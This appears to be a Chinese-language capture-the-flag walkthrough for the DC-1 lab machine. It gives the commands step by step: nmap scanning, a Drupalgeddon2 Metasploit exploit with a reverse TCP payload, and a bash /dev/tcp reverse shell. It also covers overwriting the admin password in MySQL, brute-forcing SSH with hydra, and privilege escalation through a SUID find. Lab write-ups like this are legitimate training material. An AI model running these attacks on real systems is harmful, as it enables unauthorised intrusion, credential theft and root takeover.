DC-1攻略
靶机下载地址:https://www.five86.com/dc-1.html
探测目标主机ip地址
使用nmap进行探测
nmap -sP 192.168.64.0/24 -oN nmapsP.txt
得出目标主机IP是192.168.64.135
探测目标ip开放的端口
同样使用nmap探测
nmap -A 192.168.64.135 -p 1-65535 -oN nmapA.txt
发现开放22ssh和80http
访问80端口
-
发现drupal cms
-
查看网站指纹信息
查看drupal 7版本漏洞
使用msf
msfconsole
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
info 查看信息 是否符合版本
set payload php/meterpreter/reverse_tcp 使用tcp反弹链接攻击模块
show options 查看设置
set RHOSTS 192.168.64.135
exploit 开始
成功建立会话
pwd
ls
获得flag1
cat flag1
Every good CMS needs a config file - and so do you.
根据flag1的提示我们知道下一步要去找网站的config文件
查找网站的配置文件
怀疑对象
1. web.config
2. install.mysql.txt
3. sites
.....
最终锁定sites (百度drupal目录结构)
sites-dafault-settings.php
cat settings.php
获得flag2
*Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
还得到了数据库的关键信息
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
get shell
shell ---getshell
id 查看当前用户权限
uid=33(www-data) gid=33(www-data) groups=33(www-data)
尝试连接数据库
netstat -antupl
发现3306端口开放,是MySQL数据库
mysql -udbuser -pR0ck3t
发现无法登录,由于当前shell是通过http获得,是非持续性连接。我们需要通过shell反弹建立交互式shell才能进入数据库
shell反弹
kali本地监听端口
nc -lvvp 2333
bash -i >&/dev/tcp/192.168.64.131/6666 0>&1
交互式 建立tcp连接 从tcp连接获取输入
对于已经安装了python的系统,我们可以使用python提供的pty模块,只需要一行脚本就可以创建一个原生的终端
python -c "import pty;pty.spawn('/bin/bash')"
交互式 pty模块 生成bash
登录mysql数据库
mysql -udbuser -pR0ck3t y
查看users表中内容
selesc * from users;
selesc * from users\G
发现用户名密码,但是密码是加密的。
爆破成本太大,我们选择替换密码
生成密码密文
cd /var/www
php scripts/password-hash.sh forest
使用php去调用 scripts中password-hash.sh脚本 生成forest密文
更新数据库中admin的密码
进入数据库
update users set pass="$S$DShD0d8DTD4R6UaoOPT/3tSkVR/S4tG/TXeEw6c6qWCY4BooTB96" where uid=1;
尝试登录web界面
admin forest登陆成功
获得flag3
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
查看passwd文件
cat /etc/passwd
发现flag4是个用户,并且可以登录
爆破ssh
使用hydra对ssh进行爆破
hydra -l flag4 -P /usr/share/john/password.lst 192.168.64.135 ssh -vV -f -o bp.ssh -l指定用户名 -P指定密码字典 -vV过程 -f正确停止 -o结果输出
得到flag4密码为orange
ssh登录flag4
ssh flag4@192.168.64.135
输入密码,(第一次需要yes接受密钥)
发现家目录下存在flag4.txt
cat flag4.txt
获得flag4
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
在root家目录下有最后一个flag5
提权
尝试进入/root (失败)
flag4@DC-1:~$ cd /root
-bash: cd: /root: Permission denied
flag4@DC-1:~$ id
uid=1001(flag4) gid=1001(flag4) groups=1001(flag4)
flag4@DC-1:~$ xxxxxxxxxx idflag4@DC-1:~$ cd /root-bash: cd: /root: Permission deniedflag4@DC-1:~$ iduid=1001(flag4) gid=1001(flag4) groups=1001(flag4)
flag4@DC-1:~$
当前用户没有权限查看/root
查看一些命令是否有suid标识。
find / -perm -4000 2>/dev/null
发现find具有suid标识,而fand可以拼接命令
find /bin -exec "/bin/bash" \;
尴尬的发现提权失败
尝试调用/bin/sh
find /bin -exec "/bin/sh" \;
提权成功
# ls /root
thefinalflag.txt
# cat /root/thefinalflag.txt
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
#
最后一个flag拿到。过关!